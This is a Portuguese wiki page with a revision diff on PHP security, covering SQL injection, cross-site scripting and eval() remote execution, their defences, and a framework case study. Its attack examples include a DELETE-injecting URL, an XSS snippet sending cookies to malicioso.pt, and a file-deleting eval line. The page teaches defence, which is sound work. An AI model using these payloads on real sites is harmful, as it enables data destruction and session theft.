Diferenças entre edições de "Segurança no PHP"

Fonte: TecPorto
Saltar para a navegação Saltar para a pesquisa
 
Linha 145: Linha 145:
 
Uma das diferenças, no entanto, está não nos problemas que se pode encontrar, mas sim nas funcionalidades que a linguagem disponibiliza que permitem abordar esses problemas. Devido à sua arquitectura e modo de funcionamento, muitas das funções estão imediatamente disponíveis e integradas no próprio interpretador, funções essas que, noutras linguagens, tipicamente implicam a instalação de bibliotecas adicionais ou a sua criação de raiz dificultando o trabalho do programador. É o caso, por exemplo, da já referida função strip_tags() e de toda a gama de funções para acesso a bases de dados, que inclui também a funcionalidade de prepared statements.
 
Uma das diferenças, no entanto, está não nos problemas que se pode encontrar, mas sim nas funcionalidades que a linguagem disponibiliza que permitem abordar esses problemas. Devido à sua arquitectura e modo de funcionamento, muitas das funções estão imediatamente disponíveis e integradas no próprio interpretador, funções essas que, noutras linguagens, tipicamente implicam a instalação de bibliotecas adicionais ou a sua criação de raiz dificultando o trabalho do programador. É o caso, por exemplo, da já referida função strip_tags() e de toda a gama de funções para acesso a bases de dados, que inclui também a funcionalidade de prepared statements.
  
=Caso de Estudo - TWF/PHP=
+
=Caso de Estudo - OWF/PHP=
  
[[Ficheiro:csf_logo_twf.png|border|thumb|Logo TWF]]
+
[[Ficheiro:csf_logo_twf.png|border|thumb|Logo OWF]]
  
TWF/PHP, ou TecPorto Web Framework for PHP, é uma framework para construção de aplicações web dinâmicas criada pela equipa TecPorto. Assenta sobre as tecnologias PHP, XSLT, JavaScript, AJAX e SQL, oferecendo ao utilizador uma camada de abstracção e gestão orientada a objectos e funcionando como um sistema de chamada remota de funções. A arquitectura desta framework reduz consideravelmente algumas falhas de segurança típicas de aplicações web, por fornecer funcionalidades de protecção integradas (contra erros de injecção SQL, ajuda na gestão de permissões de acesso e login seguro) e controlo de erros.
+
OWF/PHP, ou Objective Web Framework for PHP, é uma framework para construção de aplicações web dinâmicas criada pela equipa TecPorto. Assenta sobre as tecnologias PHP, XSLT, JavaScript, AJAX e SQL, oferecendo ao utilizador uma camada de abstracção e gestão orientada a objectos e funcionando como um sistema de chamada remota de funções. A arquitectura desta framework reduz consideravelmente algumas falhas de segurança típicas de aplicações web, por fornecer funcionalidades de protecção integradas (contra erros de injecção SQL, ajuda na gestão de permissões de acesso e login seguro) e controlo de erros.
  
 
==O modelo de dados==
 
==O modelo de dados==
Linha 159: Linha 159:
 
*Value/JValue - as funções Value devolvem directamente valores (tipicamente sob a forma de cadeias de caracteres - Value), podendo também ser enviadas sob a notação JSON (JValue)
 
*Value/JValue - as funções Value devolvem directamente valores (tipicamente sob a forma de cadeias de caracteres - Value), podendo também ser enviadas sob a notação JSON (JValue)
 
*Object - as funções object devolvem um objecto binário directamente (para obter ou gerar, por exemplo, uma imagem ou qualquer outro tipo de ficheiro que necessite de controlo ou tratamento).
 
*Object - as funções object devolvem um objecto binário directamente (para obter ou gerar, por exemplo, uma imagem ou qualquer outro tipo de ficheiro que necessite de controlo ou tratamento).
Da declaração das funções faz parte a listagem dos seus parâmetros (que serão recebidos como valores da querystring do URL) e os respectivos tipos, bem como se uma função deve poder ser chamada remotamente sem haver uma sessão de utilizador activa. A TWF controla estes dados autonomamente, sendo capaz de fazer o teste e avaliação dos parâmetros, bem como determinar se há uma sessão activa e permitir ou recusar a execução de uma determinada função.
+
Da declaração das funções faz parte a listagem dos seus parâmetros (que serão recebidos como valores da querystring do URL) e os respectivos tipos, bem como se uma função deve poder ser chamada remotamente sem haver uma sessão de utilizador activa. A OWF controla estes dados autonomamente, sendo capaz de fazer o teste e avaliação dos parâmetros, bem como determinar se há uma sessão activa e permitir ou recusar a execução de uma determinada função.
  
 
==Propagação de erros==
 
==Propagação de erros==
No caso de ocorrer algum erro durante a execução de uma função (como por exemplo, uma tentativa de acesso sem permissões, algum erro de processamento, um objecto não encontrado, uma palavra-chave errada), as funções lançam excepções. As excepções, quando necessário, são propagadas até ao cliente. No caso de funções Page, essas excepções são apresentadas com uma mensagem informativa, com o estilo próprio de erros HTTP. No caso de funções de outros tipos, o erro é propagado através de um cabeçalho HTTP específico (X-TWF-Exception) que pode ser apanhado pelo código AJAX do cliente. Uma capacidade eficaz de tratamento de erros é uma peça fundamental para ajudar a garantir segurança, quer do lado do cliente, quer do lado do servidor.
+
No caso de ocorrer algum erro durante a execução de uma função (como por exemplo, uma tentativa de acesso sem permissões, algum erro de processamento, um objecto não encontrado, uma palavra-chave errada), as funções lançam excepções. As excepções, quando necessário, são propagadas até ao cliente. No caso de funções Page, essas excepções são apresentadas com uma mensagem informativa, com o estilo próprio de erros HTTP. No caso de funções de outros tipos, o erro é propagado através de um cabeçalho HTTP específico (X-OWF-Exception) que pode ser apanhado pelo código AJAX do cliente. Uma capacidade eficaz de tratamento de erros é uma peça fundamental para ajudar a garantir segurança, quer do lado do cliente, quer do lado do servidor.
  
 
==Protecção contra injecção de código==
 
==Protecção contra injecção de código==
A protecção contra a injecção de código é feita a dois níveis, na TWF. O primeiro nível é através da verificação automatizada dos parâmetros na URL. Quando uma função é chamada, esta framework vai verificar a sua declaração para poder confirmar os seus parâmetros e respectivos tipos. Há três tipos de verificação possível:
+
A protecção contra a injecção de código é feita a dois níveis, na OWF. O primeiro nível é através da verificação automatizada dos parâmetros na URL. Quando uma função é chamada, esta framework vai verificar a sua declaração para poder confirmar os seus parâmetros e respectivos tipos. Há três tipos de verificação possível:
 
*POD - o tipo “POD” serve para se testar valores base da linguagem, os chamados “Plain Old Data”. Entre os sub-tipos testados, encontra-se “int”, “float” e “string”.
 
*POD - o tipo “POD” serve para se testar valores base da linguagem, os chamados “Plain Old Data”. Entre os sub-tipos testados, encontra-se “int”, “float” e “string”.
 
*REGEX - este tipo serve para verificar se o parâmetro respeita uma determinada expressão regular.
 
*REGEX - este tipo serve para verificar se o parâmetro respeita uma determinada expressão regular.
 
*FUNC - o tipo “FUNC” permite que o criador da aplicação defina uma função específica de verificação de parâmetros que será chamada automaticamente quando for preciso verificar esse parâmetro.
 
*FUNC - o tipo “FUNC” permite que o criador da aplicação defina uma função específica de verificação de parâmetros que será chamada automaticamente quando for preciso verificar esse parâmetro.
  
O segundo nível é exclusivo do acesso a bases de dados SQL e apesar de não ser obrigatório, é recomendado, sendo que para o facilitar existe um conjunto de classes e funções acessórias. Trata-se do recurso a “prepared statements”. Com o uso desta funcionalidade, torna-se impossível um sub-tipo de injecção de código descrito anteriormente: a injecção de SQL. A TWF melhora o suporte base de “prepared statements” ao adicionar a funcionalidade de “named prepared statements” (para ser mais fácil reutilizar um “prepared statement”).
+
O segundo nível é exclusivo do acesso a bases de dados SQL e apesar de não ser obrigatório, é recomendado, sendo que para o facilitar existe um conjunto de classes e funções acessórias. Trata-se do recurso a “prepared statements”. Com o uso desta funcionalidade, torna-se impossível um sub-tipo de injecção de código descrito anteriormente: a injecção de SQL. A OWF melhora o suporte base de “prepared statements” ao adicionar a funcionalidade de “named prepared statements” (para ser mais fácil reutilizar um “prepared statement”).
  
 
==Controlo de acessos==
 
==Controlo de acessos==
Para facilitar aos programadores a implementação de funcionalidades de controlo de acessos, a TWF ja inclui, no seu modelo de dados, tabelas para listagem de grupos e utilizadores (que podem ser expandidas conforme necessário). Como se trata de um modelo de dados orientado a objectos, existe também uma listagem de classes, sendo que todos os objectos pertencerão a uma das classes nessa tabela. Todos os objectos possuem também uma identificação única e unívoca. Desta forma, é fácil e pouco dispendioso, quer computacionalmente, quer a nível de armazenamento, implementar um sistema de atribuições e de controlo de acessos por ACL. De notar que o programador não é obrigado a usar esta funcionalidade, mas é recomendado que o faça. A framework inclui já também um sistema seguro de autenticação de utilizadores atraves de CRAM-SHA, com funções cliente (em Javascript) e servidor disponíveis, fáceis de utilizar, que o programador pode integrar directamente na camada de apresentação da sua aplicação. O facto de se usar a metodologia CRAM permite que pelo menos o processo de autenticação seja feito de forma segura, ainda que a ligação não o seja e os restantes conteúdos após a autenticação sejam transmitidos de forma insegura.
+
Para facilitar aos programadores a implementação de funcionalidades de controlo de acessos, a OWF ja inclui, no seu modelo de dados, tabelas para listagem de grupos e utilizadores (que podem ser expandidas conforme necessário). Como se trata de um modelo de dados orientado a objectos, existe também uma listagem de classes, sendo que todos os objectos pertencerão a uma das classes nessa tabela. Todos os objectos possuem também uma identificação única e unívoca. Desta forma, é fácil e pouco dispendioso, quer computacionalmente, quer a nível de armazenamento, implementar um sistema de atribuições e de controlo de acessos por ACL. De notar que o programador não é obrigado a usar esta funcionalidade, mas é recomendado que o faça. A framework inclui já também um sistema seguro de autenticação de utilizadores atraves de CRAM-SHA, com funções cliente (em Javascript) e servidor disponíveis, fáceis de utilizar, que o programador pode integrar directamente na camada de apresentação da sua aplicação. O facto de se usar a metodologia CRAM permite que pelo menos o processo de autenticação seja feito de forma segura, ainda que a ligação não o seja e os restantes conteúdos após a autenticação sejam transmitidos de forma insegura.
  
 
===Exemplo de código retirado de projecto real===
 
===Exemplo de código retirado de projecto real===
Linha 195: Linha 195:
 
De seguida regista-se as informações da função na framework para estar disponível:
 
De seguida regista-se as informações da função na framework para estar disponível:
  
   twf::$sys->register_host_function("bichinhos", "get", $data);
+
   \owf::$sys->register_host_function("bichinhos", "get", $data);
  
 
E, então, o código da unção:
 
E, então, o código da unção:
Linha 209: Linha 209:
 
     // PT: leitura da base de dados
 
     // PT: leitura da base de dados
 
     $l_query = 'SELECT * FROM %1$sbichinho WHERE bichinho_id = ? LIMIT 1';
 
     $l_query = 'SELECT * FROM %1$sbichinho WHERE bichinho_id = ? LIMIT 1';
     $l_statement = twf::$sys->m_dbc->prepare($l_query);
+
     $l_statement = \owf::$sys->m_dbc->prepare($l_query);
 
     $l_statement->execute(array($p_bichinho_id));
 
     $l_statement->execute(array($p_bichinho_id));
 
     $l_bichinho = $l_statement->fetch();
 
     $l_bichinho = $l_statement->fetch();
Linha 215: Linha 215:
 
A criação do nó XML com o resultado e o seu preenchimento:
 
A criação do nó XML com o resultado e o seu preenchimento:
  
     $l_result = twf::$res->new_result();
+
     $l_result = \owf::$res->new_result();
     $l_node = twf::$res->new_node("bichinho");
+
     $l_node = \owf::$res->new_node("bichinho");
 
     $l_result->appendChild($l_node);
 
     $l_result->appendChild($l_node);
 
     $l_node->setAttribute("bichinho_id", $l_bichinho['bichinho_id']);
 
     $l_node->setAttribute("bichinho_id", $l_bichinho['bichinho_id']);
Linha 226: Linha 226:
 
     $l_node->setAttribute("peso", $l_bichinho['peso']);
 
     $l_node->setAttribute("peso", $l_bichinho['peso']);
 
     $l_node->setAttribute("dono_id", $l_bichinho['dono_id']);
 
     $l_node->setAttribute("dono_id", $l_bichinho['dono_id']);
     $l_node->appendChild(twf::$res->new_text($l_bichinho["observacoes"]));
+
     $l_node->appendChild(\owf::$res->new_text($l_bichinho["observacoes"]));
  
 
E o fim da função.
 
E o fim da função.

Edição atual desde as 00h34min de 28 de fevereiro de 2020

O que é a segurança e a sua importância

Conceito

Quando se trata de segurança informática, o primeiro aspecto a ser considerado é importância de manter os dados pessoais privados. Discutivelmente, poderá ser o ponto mais importante na segurança, mas definitivamente não o único:

  • garantir que toda a informação, palavras-chave, chaves privadas e qualquer tipo de dados guardados em sistemas informáticos sejam mantidos privados;
  • impedir que os limitados recursos informáticos do utilizador (desde ciclos de CPU, espaço em disco, memória RAM e largura de banda) atinjam o seu limite, acidentalmente ou não;
  • garantir que todos os equipamentos ligados à Internet estejam protegidos e que todo o código presente em programas e sistemas possua mecanismos de defesa contra ataques maliciosos de qualquer tipo.

Para cada nova funcionalidade, serviço ou produto que sejam criados, irão nascer tentativas de os subverter e de os colocar a servir fins que não aqueles a que foram destinados. É necessário tomar medidas para que tais tentativas de subversão se vejam goradas. Para se poder tomar essas medidas, é necessário conhecer bem o elemento que se quer proteger, as potenciais falhas de segurança típicas já conhecidas características desses elementos, tentar prever outras falhas atípicas e vigiar-se atentamente o desenvolvimento da aplicação desses elementos, de modo a identificar as mencionadas tentativas de subversão, para se conseguir determinar se estão a ser descartadas com sucesso ou se estão a revelar problemas que necessitam de resolução imediata. No caso do PHP, os sistemas construídos usando esta linguagem, são tipicamente sistemas expostos ao mundo através da Internet e, por conseguinte, sujeitos a tentativas de ataque constantes. Mesmo em sites que atraiam pouco interesse, que não levem nada a ganhar ao atacante pelo seu acto, os ataques são constantes pela existência de indivíduos que o farão apenas pela prática e para exibirem as suas capacidades técnicas.

A aplicação de boas práticas de desenvolvimento, de planeamento do projecto e registo cuidado da sua evolução, do uso de sistemas de apoio à gestão de projectos e a verificação exaustiva do código produzido e dos restantes componentes em uso, são medidas indispensáveis para não só ajudar a evitar problemas, mas também facilitar a sua rápida detecção e resolução, bem como a responsabilização da equipa.

Por outro lado, é também importante não ignorar a história e aprender com os erros do passado, não só os próprios mas também os de outros criadores, tratando de garantir que falhas de segurança já conhecidas e bem estudadas assombrem um novo projecto. Como referência, convém ter em conta que desde 1996, 30% das vulnerabilidades registadas na "National Vulnerability Database" (uma base de dados do governo Norte-Americano sobre vulnerabilidades) eram relacionadas com o PHP. Já no ano de 2013, apenas 9% eram relacionadas com o PHP, o que mostra um decréscimo das vulnerabilidades. Para tal ajudou o estudo e a divulgação da informação sobre as falhas em causa e a criação de ferramentas automáticas que ajudam a detectar os erros que dão origem a essas vulnerabilidades.

Assim, este trabalho irá abordar algumas das falhas de segurança típicas em projectos baseados em PHP bem como algumas soluções para as mesmas.

Tipos de ataques

  • Ataques pelos Humanos
  • Ataques automáticos
  • Distribuição de informação
  • Outros tipos de ataques

Boas práticas

  • "Nothing is 100% secure."
  • "Never trust user input."
  • "Defense in depth is the only defense."
  • "Simpler is easier to secure."
  • "Peer review is critical to security."[1]

Tipos de ataques comuns

Injecção de SQL

A injecção de SQL (em inglês "SQL Injection") é uma das técnicas de ataque mais usadas e das que, tipicamente, mais persegue os programadores poucos experientes. Isto prende-se com o facto de a maioria das aplicações em PHP serem relativamente simples mas, ainda assim, uma grande percentagem das mesmas depender do acesso a uma base de dados. Efectivamente o próprio PHP teve origem na necessidade de criação fácil de aplicações WEB dinâmicas do lado do servidor que permitissem acesso a base de dados.

Neste tipo de ataque, o atacante tenta manipular os dados enviados pelo browser ao servidor para tomar partido da hipótese de terem sido feitos certas presunções ou esquecimentos na construção da aplicação que levassem deixar por verificar ou tratar devidamente os dados que o servidor recebe ("Parameter Sanitation") e injectar, nesses dados, instruções SQL que são passadas cegamente ao servidor de bases de dados.

O servidor de base de dados não tendo conhecimento do contexto nem qualquer forma de validar a legitimidade das instruções que recebe, não será capaz de distinguir uma instrução legitima de uma instrução maliciosa, pelo que a executará como se se tratasse de uma instrução normal.

Este tipo de ataques permite não só obtenção de dados de forma ilegítima mas também a corrupção, manipulação ou eliminação dos dados já presentes do servidor.

Num caso em que num script "get_user_info.php", do lado do servidor, existisse o seguinte pedaço de código:

 $query = "SELECT * FROM users WHERE user_id=".$_GET["user_id"]";
 //
 // ... código de execução da query
 //

Não havendo qualquer outro tipo de verificação, seria fácil subvertê-lo, colocando na barra de endereço o seguinte:

 http://servidor/get_user_info.php?user_id=4774;DELETE%20FROM%20users%20WHERE%201

A querystring apresentada resultaria em que, na posição "user_id" do vector associativo $_GET (que, no PHP, contém os valores das variáveis de querystring quando é feito um pedido HTTP do tipo GET), o valor "1;DELETE FROM users WHERE 1", resultando na eliminação de todo o conteúdo da tabela users mencionada, caso as permissões da base de dados o aceitassem.

Cross-Site Scripting

Cross-site scripting[2] (normalmente abreviado para XSS), é um tipo de vulnerabilidade comum em aplicações Web. Permite a um atacante injectar elementos maliciosos nas páginas enviadas para os clientes legítimos do site. Uma vulnerabilidade deste tipo pode ser usada por atacantes para impedir a aplicação de certos mecanismos de controlo de acessos como, por exemplo, a "política da mesma origem" (que serve para garantir que todos os elementos de um site provêm da mesma origem). Este ataque tem este nome porque frequentemente envolve mais do que um site.

O tipo de elementos que podem ser inseridos é vasto, desde simples nós HTML e respectiva formatação em CSS até construções elaboradas e complexas em Javascript.

É uma vulnerabilidade extremamente comum e que corresponde a cerca de 84% das vulnerabilidades web documentadas pela Symantec em 2007. Os seus efeitos podem variar desde um pequeno incómodo (como a injecção de publicidade) a riscos de segurança elevados, dependendo do tipo de dados geridos pelo site, o tipo de medidas de segurança aplicadas pelo cliente e outras vulnerabilidades existentes na máquina de destino.

Um caso típico ocorre em fóruns e em sites que permitam aos utilizadores deixar comentários. Num site desprotegido, o atacante, embutindo código HTML no seu comentário, consegue que o mesmo, ao ser mostrado, influencie a experiência de um visitante legítimo do site. Se esse código HTML causar a inclusão de Javascript malicioso ou fontes (tipos de letra), pode causar problemas sérios ao cliente legítimo. Com o Javascript é relativamente fácil causar problemas e as fontes, apesar de parecerem inofensivas, são, na realidade (no caso de alguns formatos), ficheiros com código executável que pode ser tratado como código legítimo pelo computador do visitante.

Apresenta-se, de seguida, um exemplo de um ataque por XSS que desfigura um site, levando o seu visitante a confiar numa ligação maliciosa.

 <div style="position: absolute; top: 0px; left: 0px; background-color: white; color: black; width: 100%; height: 100%; ">
  <h1>Lamentamos mas, de momento, encontramo-nos em manutenção.</h1>
  <a href="#" onclick="javascript:window.location='http://malicioso.pt/cookies.php?cookie=' + document.cookie;">
    Clique aqui para continuar.
  </a>
 </div>

Um site que não esteja protegido e que permita ao atacante inserir o conteúdo acima num comentário, vai transmitir esse mesmo código a um cliente real quando o comentário já aparecer na página que ele visite. O resultado é a desfiguração da página que, ao invés de apresentar o seu conteúdo legítimo e comentários, vai simplesmente apresentar o que pode ser visto na imagem à direita.

Ficheiro:Csf-cross-site.png
[Exemplo de página]

Como também o endereço da ligação está em branco, reencaminhando a página para si mesma, o local para onde realmente aponta não será mostrado passando com o cursor do rato por cima, como numa ligação normal, mas o destino final será um endereço do atacante, através do reencaminhamento com o trecho "onclick=[...]". Esse trecho é em Javascript e para além de reencaminhar o utilizador para um sítio não fidedigno, também consegue obter informação guardada nos cookies pertencentes ao site legítimo original. Com isso, o atacante pode causar ainda mais estragos e explorar ainda mais falhas de segurança a que, de outra forma, não teria acesso.

Remote Execution

Com a hipótese de execução remota, o risco aumenta também para os visitantes do site. Dependendo da extensão da vulnerabilidade e do que a mesma permitir, pode ser possível um atacante usar essa vulnerabilidade não só para colocar o servidor a executar trabalho a seu favor ou obter/alterar/eliminar dados no servidor, mas, também, alterar os próprios scripts PHP para executarem acções diferentes e produzirem resultados diferentes. Isto permite, por exemplo, a injecção de publicidade de forma ilegítima no resultado (a beneficiar o atacante), a alteração de ligações de forma a que antes de levarem o cliente à ligação que realmente pretende, o mesmo seja reencaminhado por terceiros que acabam por poder gravar os seus passos (client tracking) ou até mesmo serem reencaminhados para uma localização totalmente diferente da desejada. Mais ainda, os próprios scripts Javascript, que frequentemente acompanham o resultado do processamento do PHP no envio para o cliente, podem também ser alterados, expondo as máquinas desses visitantes a falhas de segurança que dependem da confiança do utilizador ou do seu browser no servidor a que se liga.

De entre as situações que conseguem levar a execução remota, existem duas de especial relevo. A primeira é no caso de outras falhas de segurança presentes no servidor ou no próprio site permitirem alterar ou substituir algum dos ficheiros que compõem o site. A partir do momento em que é possível alterar algum dos ficheiros, está estabelecido um vector de ataque que permite a ocorrência das situações anteriormente descritas. A segunda situação ocorre com o uso da função eval(). Esta função permite ao programador passar código PHP ao motor de execução, dentro do próprio script PHP. Esse código pode ser passado directamente, como uma string, ou através de uma variável. É neste último caso que aparece a susceptibilidade a complicações, dado que a origem dessa variável é importante. Caso essa variável contenha código proveniente do cliente, não sendo devidamente processada, corre-se o risco de o cliente - ou algum terceiro - ter injectado na mesma código maligno que seria executado no servidor e teria todo o acesso que o script que chama a função eval() tem.

 eval("unlink('index.php')");

Práticas de Segurança

Tratamento dos dados de entrada

O tratamento de dados de entrada (em inglês, tipicamente referido como "parameter sanitation") é um passo crucial do funcionamento de qualquer script PHP seguro. Na realidade, a grande maioria dos problemas de segurança registados devem-se, justamente, a uma verificação incorrecta ou inexistente dos dados de entrada, mais concretamente, os dados - presumivelmente - provenientes do cliente, que chegam ao servidor através da querystring HTTP. A verificação dos dados de entrada pode evitar muitos dos problemas descritos anteriormente e requer especial atenção. Nas subsecções seguintes são explicadas formas mais específicas de verificação adaptadas a cada uma das situações de risco. No entanto, a título introdutório, apresenta-se, de seguida, alguns casos simples de verificação de parâmetros.

Para, por exemplo, testar se um valor é inteiro, não é necessário, no PHP, recorrer a um mecanismo complexo. Imaginando um parâmetro de uma querystring HTTP de nome "user_id", que apareceria, num pedido HTTP GET, no vector $_GET do PHP, o seguinte código era suficiente para filtrar (sem verificar) um parâmetro:

 $user_id = intval($_GET['user_id']);

Note-se que a função intval() simplesmente retorna o valor que conseguir interpretar do parâmetro que lhe for passado. Caso o conteúdo do parâmetro não seja um inteiro, ele retornará zero, dado que não efectua nenhuma verificação. No entanto, se o conteúdo começar por caracteres numéricos, a função intval() irá tentar ler a cadeia mais comprida de caracteres numéricos que conseguir até encontrar a primeira interrupção, e irá converter essa cadeia de caracteres para um valor inteiro.

Para casos mais complexos, no entanto, outras soluções são recomendadas. Imaginando-se que um determinado parâmetro da querystring fosse um endereço de E-Mail, a verificação poderia muito facilmente ser feita recorrendo ao conceito de Expressões Regulares (RegEx). As expressões regulares permitem definir um padrão contra o qual um valor poderá ser testado para se determinar se esse valor respeita as regras definidas por esse padrão. Tome-se então o exemplo da análise de uma determinada variável $email, para se verificar se respeita o padrão:

 if(1 != preg_match("/([a-zA-Z0-9][\-_a-zA-Z0-9]*)(\.[a-zA-Z0-9][\-_a-zA-Z0-9]*)*@([a-zA-Z0-9][\-_a-zA-Z0-9]*\.)+[a-zA-Z]{2,6}$/", $email, $l_matches)) throw(new EInvalidEmail($email));

Prevenção de SQL Injection

Para prevenir ataques de injecção de SQL é necessário ter um controlo preciso do fluxo de dados desde o cliente até ao servidor de bases de dados. A maioria dos ataques por injecção de SQL provêm de incorrecta, insuficiente ou inexistente verificação dos parâmetros passados por uma QueryString HTTP, mas outras formas são possíveis. Um exemplo é o chamado ataque de injecção SQL de segunda ordem, em que o código malicioso não é executado directamente, mas primeiro armazenado no servidor, de tal forma que mais tarde é executado quando esses dados forem obtidos. O armazenamento de queries SQL na própria base de dados é uma prática comum de alguns sistemas. Quando algum indivíduo com intenções de ataque conhece bem um dos sistemas e sabe que existe alguma falha (ou funcionalidade incorrectamente implementada) que lhe permita não só inserir a query SQL na base de dados, mas também ter um grau de certeza razoável que a mesma será executada mais tarde, está estabelecido um vector de ataque.

A primeira forma de ataque é facilmente evitável recorrendo ao uso de "prepared statements". Prepared statements são queries SQL que são preparadas antecipadamente (relativamente ao seu uso) e que ficam já pré-processadas no servidor SQL. Nessas queries não são passados valores directamente, mas sim marcadores ("placeholders") que indicam as posições em que os valores serão usados. Quando for necessário executar esse statement, é apenas necessário passar os parâmetros correctos para substituírem os marcadores e a identificação do statement a executar. Nesta situação, os parâmetros passados são de tipos restritos e qualquer tentativa de abusar do servidor através de injecção de SQL directa falhará, dado que, na melhor das hipóteses, o conteúdo será interpretado como um valor puro para o parâmetro. Esta técnica tem, ainda, a vantagem de melhorar o desempenho de um sistema que use a mesma query repetidamente, pois só é preciso preparar o statement uma vez, podendo reutilizar-se várias vezes depois com parâmetros diferentes.


   $query = 'SELECT * FROM users WHERE user_id = ?';
   $statement = $db->prepare($query);
   $result = $statement->execute($_GET['user_id']);


No entanto, o uso de prepared statements não protege contra os ataques de injecção SQL de segunda ordem. Nesse caso é mesmo necessário recorrer a um controlo mais apertado do fluxo dos dados, como referido anteriormente, para garantir que não há a hipótese de código SQL introduzido na base de dados anteriormente possa, mais tarde, ser usado como vector de ataque ao ser lido da base de dados. Assim, é boa prática evitar o armazenamento de queries SQL na própria base de dados e, mais especificamente, a execução de queries armazenadas na base de dados quando não for possível garantir a legitimidade da sua origem.

Prevenção de execução remota

Estando a administração do servidor ao alcance do criador do site, o mesmo deverá tomar as medidas necessárias para garantir que outras falhas de segurança não directamente relacionadas com o PHP permitam que terceiros consigam alterar os ficheiros do site. É também necessário que o criador do site se encarregue de escolher as permissões adequadas para cada um dos ficheiros e pastas do site, de forma a não permitir alterações excepto pelo próprio criador. Por exemplo, em servidores com sistemas operativos baseados em Unix, é recomendável que o dono dos ficheiros seja um utilizador que não aquele sob o qual o serviço de HTTP está a correr e que as permissões sejam totais apenas para o dono dos ficheiros. Tome-se o caso do servidor HTTP Apache a correr em Linux. É típico o mesmo ser executado como o utilizador "www" ou "apache". Imagine-se, também, que o criador do site é o utilizador "claudia". Um exemplo de permissões correctas para um script "index.php" seria o seguinte:


claudia@servidor /var/www/htdocs# ls -l
-rw-r--r-- 1 claudia users 4815 Mai 20 20:38 index.php


Aplicar estas permissões ao ficheiro é relativamente simples, bastando, na consola, correr o comando "chmod 644 index.php", que apenas permitirá edição pelo dono e, como o serviço HTTP correrá com um utilizador diferente, não terá hipótese de alterar o script ou as suas permissões.

Envio de ficheiros

Em sites que permitam o envio de ficheiros do cliente para o servidor, é necessário garantir que os caminhos não se sobrepõem, de modo a não haver a hipótese de uma substituição ocorrer por manipulação dos dados do formulário de envio. É também importante permitir que os ficheiros recebidos não são colocados em nenhuma pasta onde o serviço HTTP possa executar scripts, para que os mesmos não possam ser chamados mais tarde assim que instalados.

A função eval()

É, frequentemente, boa prática evitar usar a função eval(), já descrita acima, mas, em muitos casos, tal é difícil devido às especificidades do projecto. Nesses casos, é necessário garantir um controlo muito apertado do código passado a essa função para garantir que nenhum código proveniente do cliente é cegamente passado à mesma.

Prevenção de ataques XSS

Tendo em consideração que os ataques de XSS ocorrem por injecção de código HTML através de mecanismos legítimos mas mal protegidos, uma das formas mais fáceis de se prevenir ataques XSS é através da aplicação da função "strip_tags()" do PHP, que elimina código HTML do conteúdo. No caso mencionado acima (da adição de comentários a páginas de fóruns), a eliminação dos elementos HTML e eliminação da formatação do comentário transformando-o em texto puro ajuda a resolver esta forma específica deste problema. A função strip_tags() também permite definir elementos HTML autorizados, podendo-se, assim limitar o utilizador ao uso apenas dos elementos de formatação, sendo-lhe vedada a hipótese de recorrer à inclusão de elementos externos (como scripts Javascript, fontes ou objectos embutíveis como animações em Flash). Mais ainda, a aplicação de CORS (Cross Origin Resource Sharing), uma recomendação definida pelo W3C, permite indicar ao browser dos clientes legítimos quais os endereços que deve considerar seguros para carregar objectos externos, ajudando a que com qualquer tentativa de inserir conteúdo externo no site se torne infrutífera.

Comparação com outras linguagens

Qualquer linguagem de programação terá características que a tornam única e, com essas características, também frequentemente vêm potenciais fontes de problemas de segurança. O PHP, por ser uma linguagem interpretada, tem a hipótese de oferecer, ao programador, a geração de código dinâmico em tempo de execução, nomeadamente, aquele que é passado à já referida função eval(). Esta função não está presente em muitas outras linguagens e, tipicamente, apenas existirá em linguagens interpretadas.

Muitos dos problemas de segurança que afectam o PHP acabam por ser problemas que afectam sistemas construídos noutras linguagens, dado que não são propriamente específicos da linguagem mas sim da metodologia de desenvolvimento, do zelo e dos conhecimentos do programador. Efectivamente, à excepção dos problemas relacionados com a função eval(), os restantes problemas referidos são transversais a praticamente todas as linguagens.

Uma das diferenças, no entanto, está não nos problemas que se pode encontrar, mas sim nas funcionalidades que a linguagem disponibiliza que permitem abordar esses problemas. Devido à sua arquitectura e modo de funcionamento, muitas das funções estão imediatamente disponíveis e integradas no próprio interpretador, funções essas que, noutras linguagens, tipicamente implicam a instalação de bibliotecas adicionais ou a sua criação de raiz dificultando o trabalho do programador. É o caso, por exemplo, da já referida função strip_tags() e de toda a gama de funções para acesso a bases de dados, que inclui também a funcionalidade de prepared statements.

Caso de Estudo - OWF/PHP

OWF/PHP, ou Objective Web Framework for PHP, é uma framework para construção de aplicações web dinâmicas criada pela equipa TecPorto. Assenta sobre as tecnologias PHP, XSLT, JavaScript, AJAX e SQL, oferecendo ao utilizador uma camada de abstracção e gestão orientada a objectos e funcionando como um sistema de chamada remota de funções. A arquitectura desta framework reduz consideravelmente algumas falhas de segurança típicas de aplicações web, por fornecer funcionalidades de protecção integradas (contra erros de injecção SQL, ajuda na gestão de permissões de acesso e login seguro) e controlo de erros.

O modelo de dados

Internamente, esta framework usa um modelo de dados orientado a objectos. Possui a sua própria abstracção para acesso a bases de dados relacionais por SQL, com gestão de “prepared statements”, sendo esta uma das funcionalidades usadas para ajudar a evitar SQL Injection e melhorar a performance na execução de pedidos SQL repetitivos. O programador que estiver a usar a framework é aconselhado a criar as tabelas da sua camada de negócio usando o mesmo esquema da framework, dado que esse esquema inclui o suporte para controlo de acessos via ACL (Access Control Lists). Tipicamente, certos elementos de maior relevância seriam considerados objectos nesse modelo (por exemplo, um utilizador, um grupo, uma fotografia). Com isso, a framework consegue gerir permissões de forma mais autónoma. Usando este modelo genérico, com as mesmas regras a serem aplicadas de forma automática, o sistema torna-se mais seguro por se evitar excepções e a necessidade de se escrever código específico diferenciado para cada tipo de objecto. O modelo de utilização desta framework obriga a que o programador que a estiver a usar construa a sua aplicação web sob a forma de um conjunto de funções ou de objectos organizados em categorias próprias e declaradas explicitamente. Essas funções geram dados em XML ou JSON e podem ser chamadas remotamente, existindo vários tipos:

  • Page - as funções page devolvem resultados em XML para serem processados por XSLT do lado do servidor e que correspondem a páginas completas.
  • Body/JBody - as funções Body devolvem trechos do corpo da página em XML, para serem processados por XSLT do lado do servidor e serem transmitidas ao cliente sob a forma de um fragmento de documento XML (Body) ou em notação JSON (JBody)
  • Node - as funções Node devolvem directamente um nó da árvore XML para ser processada pelo Javascript do lado do cliente.
  • Value/JValue - as funções Value devolvem directamente valores (tipicamente sob a forma de cadeias de caracteres - Value), podendo também ser enviadas sob a notação JSON (JValue)
  • Object - as funções object devolvem um objecto binário directamente (para obter ou gerar, por exemplo, uma imagem ou qualquer outro tipo de ficheiro que necessite de controlo ou tratamento).

